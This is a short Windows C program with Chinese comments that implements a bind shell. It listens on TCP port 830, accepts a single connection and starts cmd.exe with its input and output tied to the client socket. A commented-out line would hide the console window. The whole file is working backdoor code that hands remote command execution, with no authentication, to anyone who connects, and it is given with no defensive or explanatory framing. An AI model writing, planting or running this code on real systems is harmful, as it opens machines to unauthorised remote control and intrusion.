1 #include <winsock2.h>
2 #include <stdio.h>
3 #pragma comment(lib,"Ws2_32")
4
5 int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nShowCmd)
6 {
7 WSADATA ws;
8 SOCKET listenFD;
9 int ret;
10
11 //初始化wsa
12 WSAStartup(MAKEWORD(2,2),&ws);
13 //注意要用WSASocket
14 listenFD = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
15 //监听本机830端口
16 struct sockaddr_in server;
17 server.sin_family = AF_INET;
18 server.sin_port = htons(830);
19 server.sin_addr.s_addr=ADDR_ANY;
20 ret=bind(listenFD,(sockaddr *)&server,sizeof(server));
21 ret=listen(listenFD,2);
22 //如果客户请求830端口,接受连接
23 int iAddrSize = sizeof(server);
24 SOCKET clientFD=accept(listenFD,(sockaddr *)&server,&iAddrSize);
25
26 STARTUPINFO si;
27 ZeroMemory(&si,sizeof(si));
28 si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
29 //si.wShowWindow = SW_HIDE;
30
31 si.wShowWindow = SW_SHOWNORMAL;
32 si.hStdInput = si.hStdOutput = si.hStdError = (void *)clientFD;
33 char cmdLine[] = "cmd.exe";
34 PROCESS_INFORMATION ProcessInformation;
35 //建立进程
36 ret=CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);
37
38 return 0;
39 }